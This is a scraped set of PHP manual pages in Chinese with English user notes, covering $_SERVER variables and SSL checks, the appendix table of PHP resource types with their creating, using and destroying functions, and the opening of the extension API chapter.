You can get cookies, session variables, headers, the request-uri , the request method, etc but not the message body. You may want it sometimes when your page is to be requested with the POST method.

Maybe they should have mentioned $HTTP_RAW_POST_DATA or php://stdin
hfuecks at phppatterns dot com
06-Sep-2004 03:21
Using Apache/mod_ssl, there are further environment variables available to check for an SSL connection (can be more useful than $_SERVER['SERVER_PORT']), documented here: http://www.modssl.org/docs/2.8/ssl_reference.html#ToC25

To test whether the client connected with SSL I can use $_SERVER['HTTPS'] e.g (with redirect to secured, current URL);

<?php
if ( !isset($_SERVER['HTTPS']) || strtolower($_SERVER['HTTPS']) != 'on' ) {
   header ('Location: https://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);
   exit();
}
?>
boaz at babylon dot com
30-Aug-2004 10:13
You can add $_SERVER["DOCUMENT_ROOT"] to IIS by editing the Environment Variables of your Windows server (was tested on WinXP SP2).

Right click on My Computer >> Properties >> Advanced.
In the System variables click on 'New' and Type in the name field 'DOCUMENT_ROOT' and in the value field  the path to your IIS document root folder.

Don't forget to restart your Windows (IIS restart won't load the new settings).
david at grant dot org dot uk
12-May-2004 08:34
$_SERVER['DOCUMENT_ROOT'] *is* supported by IIS, although only when running PHP as an ISAPI module.
youdontmeanmuch [at] yahoo.com
06-Apr-2004 12:20
Be carful when using $_SERVER['DOCUMENT_ROOT']; in your applications where you want to distribute them to other people with different server types. It isnt always supported by the webserver (IIS).
mortoray at ecircle-ag dot com
19-Dec-2003 01:32
The RAW / uninterpreted HTTP POst information can be accessed with:
   $GLOBALS['HTTP_RAW_POST_DATA']

This is useful in cases where the post Content-Type is not something PHP understands (such as text/xml).
josh,endquote,com
04-Dec-2003 07:54
Running PHP 4.3 under IIS 5 on Windows XP, there is no $_SERVER['REQUEST_URI'] variable. This seems to fix it:

if(!isset($_SERVER['REQUEST_URI'])) {
   $_SERVER['REQUEST_URI'] = substr($_SERVER['argv'][0], strpos($_SERVER['argv'][0], ';') + 1);
}
add a note add a note

后退 | 起点 | 前进
保留字列表 | 上一级 | 预定义类


资源类型列表

PHP 手册
后退 前进

附录 K. 资源类型列表

以下是一个建立，使用和销毁资源的函数列表。可以用 is_resource() 函数测定一个变量是否是资源，函数 get_resource_type() 则返回该资源的类型。

表格 K-1. 资源类型

资源类型名称 | 建立者 | 使用者 | 销毁者 | 定义
aspell | aspell_new() | aspell_check(), aspell_check_raw(), aspell_suggest() | None | Aspell dictionary
bzip2 | bzopen() | bzerrno(), bzerror(), bzerrstr(), bzflush(), bzread(), bzwrite() | bzclose() | Bzip2 file
COM | com_load() | com_invoke(), com_propget(), com_get(), com_propput(), com_set(), com_propput() | None | COM object reference
VARIANT
cpdf | cpdf_open() | cpdf_page_init(), cpdf_finalize_page(), cpdf_finalize(), cpdf_output_buffer(), cpdf_save_to_file(), cpdf_set_current_page(), cpdf_begin_text(), cpdf_end_text(), cpdf_show(), cpdf_show_xy(), cpdf_text(), cpdf_set_font(), cpdf_set_leading(), cpdf_set_text_rendering(), cpdf_set_horiz_scaling(), cpdf_set_text_rise(), cpdf_set_text_matrix(), cpdf_set_text_pos(), cpdf_set_text_pos(), cpdf_set_word_spacing(), cpdf_continue_text(), cpdf_stringwidth(), cpdf_save(), cpdf_translate(), cpdf_restore(), cpdf_scale(), cpdf_rotate(), cpdf_setflat(), cpdf_setlinejoin(), cpdf_setlinecap(), cpdf_setmiterlimit(), cpdf_setlinewidth(), cpdf_setdash(), cpdf_moveto(), cpdf_rmoveto(), cpdf_curveto(), cpdf_lineto(), cpdf_rlineto(), cpdf_circle(), cpdf_arc(), cpdf_rect(), cpdf_closepath(), cpdf_stroke(), cpdf_closepath_fill_stroke(), cpdf_fill_stroke(), cpdf_clip(), cpdf_fill(), cpdf_setgray_fill(), cpdf_setgray_stroke(), cpdf_setgray(), cpdf_setrgbcolor_fill(), cpdf_setrgbcolor_stroke(), cpdf_setrgbcolor(), cpdf_add_outline(), cpdf_set_page_animation(), cpdf_import_jpeg(), cpdf_place_inline_image(), cpdf_add_annotation() | cpdf_close() | PDF document with CPDF lib
cpdf outline
curl | curl_copy_handle(), curl_init() | curl_copy_handle(), curl_errno(), curl_error(), curl_exec(), curl_getinfo(), curl_setopt() | curl_close() | Curl session
dbm | dbmopen() | dbmexists(), dbmfetch(), dbminsert(), dbmreplace(), dbmdelete(), dbmfirstkey(), dbmnextkey() | dbmclose() | Link to DBM database
dba | dba_open() | dba_delete(), dba_exists(), dba_fetch(), dba_firstkey(), dba_insert(), dba_nextkey(), dba_optimize(), dba_replace(), dba_sync() | dba_close() | Link to DBA base
dba persistent | dba_popen() | dba_delete(), dba_exists(), dba_fetch(), dba_firstkey(), dba_insert(), dba_nextkey(), dba_optimize(), dba_replace(), dba_sync() | None | Persistent link to DBA base
dbase | dbase_open() | dbase_pack(), dbase_add_record(), dbase_replace_record(), dbase_delete_record(), dbase_get_record(), dbase_get_record_with_names(), dbase_numfields(), dbase_numrecords() | dbase_close() | Link to Dbase base
dbx_link_object | dbx_connect() | dbx_query() | dbx_close() | dbx connection
dbx_result_object | dbx_query() | None | dbx result
domxml attribute
domxml document
domxml node
xpath context
xpath object
fbsql link | fbsql_change_user(), fbsql_connect() | fbsql_autocommit(), fbsql_blob_size(), fbsql_clob_size(), fbsql_commit(), fbsql_change_user(), fbsql_create_blob(), fbsql_create_db(), fbsql_data_seek(), fbsql_database_password(), fbsql_database(), fbsql_create_clob(), fbsql_db_query(), fbsql_db_status(), fbsql_select_db(), fbsql_errno(), fbsql_error(), fbsql_get_autostart_info(), fbsql_hostname(), fbsql_insert_id(), fbsql_list_dbs(), fbsql_password(), fbsql_read_blob(), fbsql_read_clob(), fbsql_rollback(), fbsql_select_db(), fbsql_set_password(), fbsql_set_transaction(), fbsql_start_db(), fbsql_stop_db(), fbsql_username() | fbsql_close() | Link to fbsql database
fbsql plink | fbsql_change_user(), fbsql_pconnect() | fbsql_autocommit(), fbsql_change_user(), fbsql_create_db(), fbsql_data_seek(), fbsql_db_query(), fbsql_drop_db(), fbsql_select_db(), fbsql_errno(), fbsql_error(), fbsql_insert_id(), fbsql_list_dbs() | None | Persistent link to fbsql database
fbsql result | fbsql_db_query(), fbsql_list_dbs(), fbsql_query(), fbsql_list_fields(), fbsql_list_tables(), fbsql_tablename() | fbsql_affected_rows(), fbsql_fetch_array(), fbsql_fetch_assoc(), fbsql_fetch_field(), fbsql_fetch_lengths(), fbsql_fetch_object(), fbsql_fetch_row(), fbsql_field_flags(), fbsql_field_name(), fbsql_field_len(), fbsql_field_seek(), fbsql_field_table(), fbsql_field_type(), fbsql_next_result(), fbsql_num_fields(), fbsql_num_rows(), fbsql_result(), fbsql_num_rows() | fbsql_free_result() | fbsql result
fdf | fdf_open() | fdf_create(), fdf_save(), fdf_get_value(), fdf_set_value(), fdf_next_field_name(), fdf_set_ap(), fdf_set_status(), fdf_get_status(), fdf_set_file(), fdf_get_file(), fdf_set_flags(), fdf_set_opt(), fdf_set_submit_form_action(), fdf_set_javascript_action() | fdf_close() | FDF File
ftp | ftp_connect(), ftp_ssl_connect() | ftp_login(), ftp_pwd(), ftp_cdup(), ftp_chdir(), ftp_mkdir(), ftp_rmdir(), ftp_nlist(), ftp_rawlist(), ftp_systype(), ftp_pasv(), ftp_get(), ftp_fget(), ftp_put(), ftp_fput(), ftp_size(), ftp_mdtm(), ftp_rename(), ftp_delete(), ftp_site(), ftp_alloc(), ftp_chmod(), ftp_exec(), ftp_get_option(), ftp_nb_continue(), ftp_nb_fget(), ftp_nb_fput(), ftp_nb_get(), ftp_nb_put(), ftp_raw(), ftp_set_option() | ftp_close() | FTP stream
gd | imagecreate(), imagecreatefromgd(), imagecreatefromgd2(), imagecreatefromgd2part(), imagecreatefromgif(), imagecreatefromjpeg(), imagecreatefrompng(), imagecreatefromwbmp(), imagecreatefromstring(), imagecreatefromxbm(), imagecreatefromxpm(), imagecreatetruecolor(), imagerotate() | imagearc(), imagechar(), imagecharup(), imagecolorallocate(), imagecolorat(), imagecolorclosest(), imagecolorexact(), imagecolorresolve(), imagegammacorrect(), imagegammacorrect(), imagecolorset(), imagecolorsforindex(), imagecolorstotal(), imagecolortransparent(), imagecopy(), imagecopyresized(), imagedashedline(), imagefill(), imagefilledpolygon(), imagefilledrectangle(), imagefilltoborder(), imagegif(), imagepng(), imagejpeg(), imagewbmp(), imageinterlace(), imageline(), imagepolygon(), imagepstext(), imagerectangle(), imagerotate(), imagesetpixel(), imagestring(), imagestringup(), imagesx(), imagesy(), imagettftext(), imagefilledarc(), imageellipse(), imagefilledellipse(), imagecolorclosestalpha(), imagecolorexactalpha(), imagecolorresolvealpha(), imagecopymerge(), imagecopymergegray(), imagecopyresampled(), imagetruecolortopalette(), imagesetbrush(), imagesettile(), imagesetthickness(), image2wbmp(), imagealphablending(), imageantialias(), imagecolorallocatealpha(), imagecolorclosesthwb(), imagecolordeallocate(), imagecolormatch(), imagefilter(), imagefttext(), imagegd(), imagegd2(), imageistruecolor(), imagelayereffect(), imagepalettecopy(), imagesavealpha(), imagesetstyle(), imagexbm() | imagedestroy() | GD Image
gd font | imageloadfont() | imagechar(), imagecharup(), imagefontheight() | None | Font for GD
gd PS encoding
gd PS font | imagepsloadfont() | imagepstext(), imagepsslantfont(), imagepsextendfont(), imagepsencodefont(), imagepsbbox() | imagepsfreefont() | PS font for GD
GMP integer | gmp_init() | gmp_intval(), gmp_strval(), gmp_add(), gmp_sub(), gmp_mul(), gmp_div_q(), gmp_div_r(), gmp_div_qr(), gmp_div(), gmp_mod(), gmp_divexact(), gmp_cmp(), gmp_neg(), gmp_abs(), gmp_sign(), gmp_fact(), gmp_sqrt(), gmp_sqrtrm(), gmp_perfect_square(), gmp_pow(), gmp_powm(), gmp_prob_prime(), gmp_gcd(), gmp_gcdext(), gmp_invert(), gmp_legendre(), gmp_jacobi(), gmp_random(), gmp_and(), gmp_or(), gmp_xor(), gmp_setbit(), gmp_clrbit(), gmp_scan0(), gmp_scan1(), gmp_popcount(), gmp_hamdist() | None | GMP Number
hyperwave document | hw_cp(), hw_docbyanchor(), hw_getremote(), hw_getremotechildren() | hw_children(), hw_childrenobj(), hw_getparents(), hw_getparentsobj(), hw_getchildcoll(), hw_getchildcollobj(), hw_getremote(), hw_getsrcbydestobj(), hw_getandlock(), hw_gettext(), hw_getobjectbyquerycoll(), hw_getobjectbyquerycollobj(), hw_getchilddoccoll(), hw_getchilddoccollobj(), hw_getanchors(), hw_getanchorsobj(), hw_inscoll(), hw_pipedocument(), hw_unlock() | hw_deleteobject() | Hyperwave object
hyperwave link | hw_connect() | hw_children(), hw_childrenobj(), hw_cp(), hw_deleteobject(), hw_docbyanchor(), hw_docbyanchorobj(), hw_errormsg(), hw_edittext(), hw_error(), hw_getparents(), hw_getparentsobj(), hw_getchildcoll(), hw_getchildcollobj(), hw_getremote(), hw_getremotechildren(), hw_getsrcbydestobj(), hw_getobject(), hw_getandlock(), hw_gettext(), hw_getobjectbyquery(), hw_getobjectbyqueryobj(), hw_getobjectbyquerycoll(), hw_getobjectbyquerycollobj(), hw_getchilddoccoll(), hw_getchilddoccollobj(), hw_getanchors(), hw_getanchorsobj(), hw_mv(), hw_incollections(), hw_info(), hw_inscoll(), hw_insdoc(), hw_insertdocument(), hw_insertobject(), hw_mapid(), hw_modifyobject(), hw_pipedocument(), hw_unlock(), hw_who(), hw_getusername() | hw_close(), hw_free_document() | Link to Hyperwave server
hyperwave link persistent | hw_pconnect() | hw_children(), hw_childrenobj(), hw_cp(), hw_deleteobject(), hw_docbyanchor(), hw_docbyanchorobj(), hw_errormsg(), hw_edittext(), hw_error(), hw_getparents(), hw_getparentsobj(), hw_getchildcoll(), hw_getchildcollobj(), hw_getremote(), hw_getremotechildren(), hw_getsrcbydestobj(), hw_getobject(), hw_getandlock(), hw_gettext(), hw_getobjectbyquery(), hw_getobjectbyqueryobj(), hw_getobjectbyquerycoll(), hw_getobjectbyquerycollobj(), hw_getchilddoccoll(), hw_getchilddoccollobj(), hw_getanchors(), hw_getanchorsobj(), hw_mv(), hw_incollections(), hw_info(), hw_inscoll(), hw_insdoc(), hw_insertdocument(), hw_insertobject(), hw_mapid(), hw_modifyobject(), hw_pipedocument(), hw_unlock(), hw_who(), hw_getusername() | None | Persistent link to Hyperwave server
icap | icap_open() | icap_fetch_event(), icap_list_events(), icap_store_event(), icap_snooze(), icap_list_alarms(), icap_delete_event() | icap_close() | Link to icap server
imap | imap_open() | imap_append(), imap_body(), imap_check(), imap_createmailbox(), imap_delete(), imap_deletemailbox(), imap_expunge(), imap_fetchbody(), imap_fetchstructure(), imap_headerinfo(), imap_header(), imap_headers(), imap_listmailbox(), imap_getmailboxes(), imap_get_quota(), imap_status(), imap_listsubscribed(), imap_set_quota(), imap_set_quota(), imap_getsubscribed(), imap_mail_copy(), imap_mail_move(), imap_num_msg(), imap_num_recent(), imap_ping(), imap_renamemailbox(), imap_reopen(), imap_subscribe(), imap_undelete(), imap_unsubscribe(), imap_scanmailbox(), imap_mailboxmsginfo(), imap_fetchheader(), imap_uid(), imap_msgno(), imap_search(), imap_fetch_overview() | imap_close() | Link to IMAP, POP3 server
imap chain persistent
imap persistent
ingres | ingres_connect() | ingres_query(), ingres_num_rows(), ingres_num_fields(), ingres_field_name(), ingres_field_type(), ingres_field_nullable(), ingres_field_length(), ingres_field_precision(), ingres_field_scale(), ingres_fetch_array(), ingres_fetch_row(), ingres_fetch_object(), ingres_rollback(), ingres_commit(), ingres_autocommit() | ingres_close() | Link to ingresII base
ingres persistent | ingres_pconnect() | ingres_query(), ingres_num_rows(), ingres_num_fields(), ingres_field_name(), ingres_field_type(), ingres_field_nullable(), ingres_field_length(), ingres_field_precision(), ingres_field_scale(), ingres_fetch_array(), ingres_fetch_row(), ingres_fetch_object(), ingres_rollback(), ingres_commit(), ingres_autocommit() | None | Persistent link to ingresII base
interbase blob
interbase link | ibase_connect() | ibase_query(), ibase_prepare(), ibase_trans() | ibase_close() | Link to Interbase database
interbase link persistent | ibase_pconnect() | ibase_query(), ibase_prepare(), ibase_trans() | None | Persistent link to Interbase database
interbase query | ibase_prepare() | ibase_execute() | ibase_free_query() | Interbase query
interbase result | ibase_query() | ibase_fetch_row(), ibase_fetch_object(), ibase_field_info(), ibase_num_fields() | ibase_free_result() | Interbase Result
interbase transaction | ibase_trans() | ibase_commit() | ibase_rollback() | Interbase transaction
java
ldap link | ldap_connect(), ldap_search() | ldap_count_entries(), ldap_first_attribute(), ldap_first_entry(), ldap_get_attributes(), ldap_get_dn(), ldap_get_entries(), ldap_get_values(), ldap_get_values_len(), ldap_next_attribute(), ldap_next_entry() | ldap_close() | ldap connection
ldap result | ldap_read() | ldap_add(), ldap_compare(), ldap_bind(), ldap_count_entries(), ldap_delete(), ldap_errno(), ldap_error(), ldap_first_attribute(), ldap_first_entry(), ldap_get_attributes(), ldap_get_dn(), ldap_get_entries(), ldap_get_values(), ldap_get_values_len(), ldap_get_option(), ldap_list(), ldap_modify(), ldap_mod_add(), ldap_mod_replace(), ldap_next_attribute(), ldap_next_entry(), ldap_mod_del(), ldap_set_option(), ldap_unbind() | ldap_free_result() | ldap search result
ldap result entry
mcal | mcal_open(), mcal_popen() | mcal_create_calendar(), mcal_rename_calendar(), mcal_rename_calendar(), mcal_delete_calendar(), mcal_fetch_event(), mcal_list_events(), mcal_append_event(), mcal_store_event(), mcal_delete_event(), mcal_list_alarms(), mcal_event_init(), mcal_event_set_category(), mcal_event_set_title(), mcal_event_set_description(), mcal_event_set_start(), mcal_event_set_end(), mcal_event_set_alarm(), mcal_event_set_class(), mcal_next_recurrence(), mcal_event_set_recur_none(), mcal_event_set_recur_daily(), mcal_event_set_recur_weekly(), mcal_event_set_recur_monthly_mday(), mcal_event_set_recur_monthly_wday(), mcal_event_set_recur_yearly(), mcal_fetch_current_stream_event(), mcal_event_add_attribute(), mcal_expunge() | mcal_close() | Link to calendar server
SWFAction
SWFBitmap
SWFButton
SWFDisplayItem
SWFFill
SWFFont
SWFGradient
SWFMorph
SWFMovie
SWFShape
SWFSprite
SWFText
SWFTextField
mnogosearch agent
mnogosearch result
msql link | msql_connect() | msql(), msql_create_db(), msql_createdb(), msql_drop_db(), msql_drop_db(), msql_select_db(), msql_select_db() | msql_close() | Link to mSQL database
msql link persistent | msql_pconnect() | msql(), msql_create_db(), msql_createdb(), msql_drop_db(), msql_drop_db(), msql_select_db(), msql_select_db() | None | Persistent link to mSQL
msql query | msql_db_query(), msql_list_dbs(), msql_list_fields(), msql_list_tables(), msql_query() | msql(), msql_affected_rows(), msql_data_seek(), msql_dbname(), msql_fetch_array(), msql_fetch_field(), msql_fetch_object(), msql_fetch_row(), msql_field_seek(), msql_field_table(), msql_field_flags(), msql_field_len(), msql_field_name(), msql_field_type(), msql_num_fields(), msql_num_rows(), msql_numfields(), msql_numrows(), msql_result() | msql_free_result(), msql_free_result() | mSQL result
mssql link | mssql_connect() | mssql_query(), mssql_select_db() | mssql_close() | Link to Microsoft SQL Server database
mssql link persistent | mssql_pconnect() | mssql_query(), mssql_select_db() | None | Persistent link to Microsoft SQL Server
mssql result | mssql_query() | mssql_data_seek(), mssql_fetch_array(), mssql_fetch_field(), mssql_fetch_object(), mssql_fetch_row(), mssql_field_length(), mssql_field_name(), mssql_field_seek(), mssql_field_type(), mssql_num_fields(), mssql_num_rows(), mssql_result() | mssql_free_result() | Microsoft SQL Server result
mysql link | mysql_connect() | mysql_affected_rows(), mysql_change_user(), mysql_create_db(), mysql_data_seek(), mysql_db_name(), mysql_db_query(), mysql_drop_db(), mysql_errno(), mysql_error(), mysql_insert_id(), mysql_list_dbs(), mysql_list_fields(), mysql_list_tables(), mysql_query(), mysql_result(), mysql_select_db(), mysql_tablename(), mysql_get_host_info(), mysql_get_proto_info(), mysql_get_server_info() | mysql_close() | Link to MySQL database
mysql link persistent | mysql_pconnect() | mysql_affected_rows(), mysql_change_user(), mysql_create_db(), mysql_data_seek(), mysql_db_name(), mysql_db_query(), mysql_drop_db(), mysql_errno(), mysql_error(), mysql_insert_id(), mysql_list_dbs(), mysql_list_fields(), mysql_list_tables(), mysql_query(), mysql_result(), mysql_select_db(), mysql_tablename(), mysql_get_host_info(), mysql_get_proto_info(), mysql_get_server_info() | None | Persistent link to MySQL database
mysql result | mysql_db_query(), mysql_list_dbs(), mysql_list_fields(), mysql_list_processes(), mysql_list_tables(), mysql_query(), mysql_unbuffered_query() | mysql_data_seek(), mysql_db_name(), mysql_fetch_array(), mysql_fetch_assoc(), mysql_fetch_field(), mysql_fetch_lengths(), mysql_fetch_object(), mysql_fetch_row(), mysql_fetch_row(), mysql_field_flags(), mysql_field_name(), mysql_field_len(), mysql_field_seek(), mysql_field_table(), mysql_field_type(), mysql_num_fields(), mysql_num_rows(), mysql_result(), mysql_tablename() | mysql_free_result() | MySQL result
oci8 collection
oci8 connection | ocilogon(), ociplogon(), ocinlogon() | ocicommit(), ociserverversion(), ocinewcursor(), ociparse(), ocierror() | ocilogoff() | Link to Oracle database
oci8 descriptor
oci8 server
oci8 session
oci8 statement | ocinewdescriptor() | ocirollback(), ocinewdescriptor(), ocirowcount(), ocidefinebyname(), ocibindbyname(), ociexecute(), ocinumcols(), ociresult(), ocifetch(), ocifetchinto(), ocifetchstatement(), ocicolumnisnull(), ocicolumnname(), ocicolumnsize(), ocicolumntype(), ocistatementtype(), ocierror() | ocifreestatement() | Oracle Cursor
odbc link | odbc_connect() | odbc_autocommit(), odbc_commit(), odbc_error(), odbc_errormsg(), odbc_exec(), odbc_tables(), odbc_tableprivileges(), odbc_do(), odbc_prepare(), odbc_columns(), odbc_columnprivileges(), odbc_procedurecolumns(), odbc_specialcolumns(), odbc_rollback(), odbc_setoption(), odbc_gettypeinfo(), odbc_primarykeys(), odbc_foreignkeys(), odbc_procedures(), odbc_statistics() | odbc_close() | Link to ODBC database
odbc link persistent | odbc_pconnect() | odbc_autocommit(), odbc_commit(), odbc_error(), odbc_errormsg(), odbc_exec(), odbc_tables(), odbc_tableprivileges(), odbc_do(), odbc_prepare(), odbc_columns(), odbc_columnprivileges(), odbc_procedurecolumns(), odbc_specialcolumns(), odbc_rollback(), odbc_setoption(), odbc_gettypeinfo(), odbc_primarykeys(), odbc_foreignkeys(), odbc_procedures(), odbc_statistics() | None | Persistent link to ODBC database
odbc result | odbc_prepare() | odbc_binmode(), odbc_cursor(), odbc_execute(), odbc_fetch_into(), odbc_fetch_row(), odbc_field_name(), odbc_field_num(), odbc_field_type(), odbc_field_len(), odbc_field_precision(), odbc_field_scale(), odbc_longreadlen(), odbc_num_fields(), odbc_num_rows(), odbc_result(), odbc_result_all(), odbc_setoption() | odbc_free_result() | ODBC result
birdstep link
birdstep result
OpenSSL key | openssl_get_privatekey(), openssl_get_publickey() | openssl_sign(), openssl_seal(), openssl_open(), openssl_verify() | openssl_free_key() | OpenSSL key
OpenSSL X.509 | openssl_x509_read() | openssl_x509_parse(), openssl_x509_checkpurpose() | openssl_x509_free() | Public Key
oracle Cursor | ora_open() | ora_bind(), ora_columnname(), ora_columnsize(), ora_columntype(), ora_error(), ora_errorcode(), ora_exec(), ora_fetch(), ora_fetch_into(), ora_getcolumn(), ora_numcols(), ora_numrows(), ora_parse() | ora_close() | Oracle cursor
oracle link | ora_logon() | ora_do(), ora_error(), ora_errorcode(), ora_rollback(), ora_commitoff(), ora_commiton(), ora_open(), ora_commit() | ora_logoff() | Link to oracle database
oracle link persistent | ora_plogon() | ora_do(), ora_error(), ora_errorcode(), ora_rollback(), ora_commitoff(), ora_commiton(), ora_open(), ora_commit() | None | Persistent link to oracle database
pdf document | pdf_new() | pdf_add_bookmark(), pdf_add_launchlink(), pdf_add_locallink(), pdf_add_note(), pdf_add_pdflink(), pdf_add_weblink(), pdf_arc(), pdf_attach_file(), pdf_begin_page(), pdf_circle(), pdf_clip(), pdf_closepath(), pdf_closepath_fill_stroke(), pdf_closepath_stroke(), pdf_concat(), pdf_continue_text(), pdf_curveto(), pdf_end_page(), pdf_endpath(), pdf_fill(), pdf_fill_stroke(), pdf_findfont(), pdf_get_buffer(), pdf_get_image_height(), pdf_get_image_width(), pdf_get_parameter(), pdf_get_value(), pdf_lineto(), pdf_moveto(), pdf_open_ccitt(), pdf_open_file(), pdf_open_image_file(), pdf_place_image(), pdf_rect(), pdf_restore(), pdf_rotate(), pdf_save(), pdf_scale(), pdf_setdash(), pdf_setflat(), pdf_setfont(), pdf_setgray(), pdf_setgray_fill(), pdf_setgray_stroke(), pdf_setlinecap(), pdf_setlinejoin(), pdf_setlinewidth(), pdf_setmiterlimit(), pdf_setpolydash(), pdf_setrgbcolor(), pdf_setrgbcolor_fill(), pdf_setrgbcolor_stroke(), pdf_set_border_color(), pdf_set_border_dash(), pdf_set_border_style(), pdf_set_char_spacing(), pdf_set_duration(), pdf_set_font(), pdf_set_horiz_scaling(), pdf_set_parameter(), pdf_set_text_pos(), pdf_set_text_rendering(), pdf_set_value(), pdf_set_word_spacing(), pdf_show(), pdf_show_boxed(), pdf_show_xy(), pdf_skew(), pdf_stringwidth(), pdf_stroke(), pdf_translate(), pdf_add_thumbnail(), pdf_arcn(), pdf_begin_pattern(), pdf_begin_template(), pdf_end_pattern(), pdf_end_template(), pdf_initgraphics(), pdf_makespotcolor(), pdf_set_info(), pdf_setcolor(), pdf_setmatrix(), pdf_open_memory_image() | pdf_close(), pdf_delete() | PDF document
pdf image | pdf_open_image(), pdf_open_image_file(), pdf_open_memory_image() | pdf_get_image_height(), pdf_get_image_width(), pdf_open_CCITT(), pdf_place_image() | pdf_close_image() | Image in PDF file
pdf object
pdf outline
pgsql large object | pg_lo_open() | pg_lo_open(), pg_lo_create(), pg_lo_read(), pg_lo_read_all(), pg_lo_seek(), pg_lo_tell(), pg_lo_unlink(), pg_lo_write() | pg_lo_close() | PostgreSQL Large Object
pgsql link | pg_connect() | pg_affected_rows(), pg_query(), pg_send_query(), pg_get_result(), pg_connection_busy(), pg_connection_reset(), pg_connection_status(), pg_last_error(), pg_last_notice(), pg_lo_create(), pg_lo_export(), pg_lo_import(), pg_lo_open(), pg_lo_unlink(), pg_host(), pg_port(), pg_dbname(), pg_options(), pg_copy_from(), pg_copy_to(), pg_end_copy(), pg_put_line(), pg_tty(), pg_trace(), pg_untrace(), pg_set_client_encoding(), pg_client_encoding(), pg_metadata(), pg_convert(), pg_insert(), pg_select(), pg_delete(), pg_update() | pg_close() | Link to PostgreSQL database
pgsql link persistent | pg_pconnect() | pg_affected_rows(), pg_query(), pg_send_query(), pg_get_result(), pg_connection_busy(), pg_connection_reset(), pg_connection_status(), pg_last_error(), pg_last_notice(), pg_lo_create(), pg_lo_export(), pg_lo_import(), pg_lo_open(), pg_lo_unlink(), pg_host(), pg_port(), pg_dbname(), pg_options(), pg_copy_from(), pg_copy_to(), pg_end_copy(), pg_put_line(), pg_tty(), pg_trace(), pg_untrace(), pg_set_client_encoding(), pg_client_encoding(), pg_metadata(), pg_convert(), pg_insert(), pg_select(), pg_delete(), pg_update() | None | Persistent link to PostgreSQL database
pgsql result | pg_execute(), pg_query(), pg_query_params(), pg_get_result() | pg_fetch_array(), pg_fetch_object(), pg_fetch_result(), pg_fetch_row(), pg_field_is_null(), pg_field_name(), pg_field_num(), pg_field_prtlen(), pg_field_size(), pg_field_type(), pg_last_oid(), pg_num_fields(), pg_num_rows(), pg_result_error(), pg_result_status() | pg_free_result() | PostgreSQL result
pgsql string
printer
printer brush
printer font
printer pen
pspell | pspell_new(), pspell_new_config(), pspell_new_personal() | pspell_add_to_personal(), pspell_add_to_session(), pspell_check(), pspell_clear_session(), pspell_config_ignore(), pspell_config_mode(), pspell_config_personal(), pspell_config_repl(), pspell_config_runtogether(), pspell_config_save_repl(), pspell_save_wordlist(), pspell_store_replacement(), pspell_suggest() | None | pspell dictionary
pspell config | pspell_config_create() | pspell_new_config() | None | pspell configuration
Sablotron XSLT | xslt_create() | xslt_closelog(), xslt_openlog(), xslt_run(), xslt_set_sax_handler(), xslt_errno(), xslt_error(), xslt_fetch_result(), xslt_free() | xslt_free() | XSLT parser
shmop | shmop_open() | shmop_read(), shmop_write(), shmop_size(), shmop_delete() | shmop_close()
sockets file descriptor set | socket() | accept_connect(), bind(), connect(), listen(), read(), write() | close() | Socket
sockets i/o vector
dir | opendir() | readdir(), rewinddir() | closedir() | Dir handle
stream | fopen() tmpfile() | feof(), fflush(), fgetc(), fgetcsv(), fgets(), fgetss(), flock(), fpassthru(), fputs(), fwrite(), fread(), fseek(), ftell(), fstat(), ftruncate(), set_file_buffer(), rewind() | fclose() | File handle
pipe | popen() | feof(), fflush(), fgetc(), fgetcsv(), fgets(), fgetss(), fpassthru(), fputs(), fwrite(), fread() | pclose() | Process handle
socket | fsockopen() pfsockopen() | fflush(), fgetc(), fgetcsv(), fgets(), fgetss(), fpassthru(), fputs(), fwrite(), fread() | fclose() | Socket handle
sybase-db link | sybase_connect() | sybase_query(), sybase_select_db() | sybase_close() | Link to Sybase database using DB library
sybase-db link persistent | sybase_pconnect() | sybase_query(), sybase_select_db() | None | Persistent link to Sybase database using DB library
sybase-db result | sybase_query() | sybase_data_seek(), sybase_fetch_array(), sybase_fetch_field(), sybase_fetch_object(), sybase_fetch_row(), sybase_field_seek(), sybase_num_fields(), sybase_num_rows(), sybase_result() | sybase_free_result() | Sybase result using DB library
sybase-ct link | sybase_connect() | sybase_affected_rows(), sybase_query(), sybase_select_db() | sybase_close() | Link to Sybase database using CT library
sybase-ct link persistent | sybase_pconnect() | sybase_affected_rows(), sybase_query(), sybase_select_db() | None | Persistent link to Sybase database using CT library
sybase-ct result | sybase_query(), sybase_unbuffered_query() | sybase_data_seek(), sybase_fetch_array(), sybase_fetch_field(), sybase_fetch_object(), sybase_fetch_row(), sybase_field_seek(), sybase_num_fields(), sybase_num_rows(), sybase_result() | sybase_free_result() | Sybase result using CT library
sysvsem | sem_get() | sem_acquire() | sem_release() | System V Semaphore
sysvshm | shm_attach() | shm_remove(), shm_put_var(), shm_get_var(), shm_remove_var() | shm_detach() | System V Shared Memory
wddx | wddx_packet_start() | wddx_add_vars() | wddx_packet_end() | WDDX packet
xml | xml_parser_create(), xml_parser_create_ns() | xml_set_object(), xml_set_element_handler(), xml_set_character_data_handler(), xml_set_processing_instruction_handler(), xml_set_default_handler(), xml_set_unparsed_entity_decl_handler(), xml_set_notation_decl_handler(), xml_set_external_entity_ref_handler(), xml_parse(), xml_get_error_code(), xml_error_string(), xml_get_current_line_number(), xml_get_current_column_number(), xml_get_current_byte_index(), xml_parse_into_struct(), xml_parser_set_option(), xml_parser_get_option() | xml_parser_free() | XML parser
zlib | gzopen() | gzeof(), gzgetc(), gzgets(), gzgetss(), gzpassthru(), gzputs(), gzread(), gzrewind(), gzseek(), gztell(), gzwrite() | gzclose() | gz-compressed file

add a note add a note User Contributed Notes
Nathan Anderson
27-Feb-2003 08:17
Like the LDAP functions, the MS-SQL functions mssql_connect() and mssql_pconnect() do not return resources, they return "A positive MS SQL link identifier on success, or FALSE  on error."
ian at eiloart dot comNOSPAM
09-Aug-2001 06:02
Actually, the ldap functions don't return or expect to be passed resources at all. So you can use an integer, and is_resource and get_resource_type aren't any use with ldap.
add a note add a note

后退 | 起点 | 前进
预定义常量 | 上一级 | 支持的协议／封装协议列表


PHP 扩展库编程 API 指南

PHP 手册
后退 前进

章 44. PHP 扩展库编程 API 指南

目录
概览
Streams Basics
Streams as Resources
Streams Common API Reference
Streams Dir API Reference
Streams File API Reference
Streams Socket API Reference
Streams Structures
Streams Constants

概览

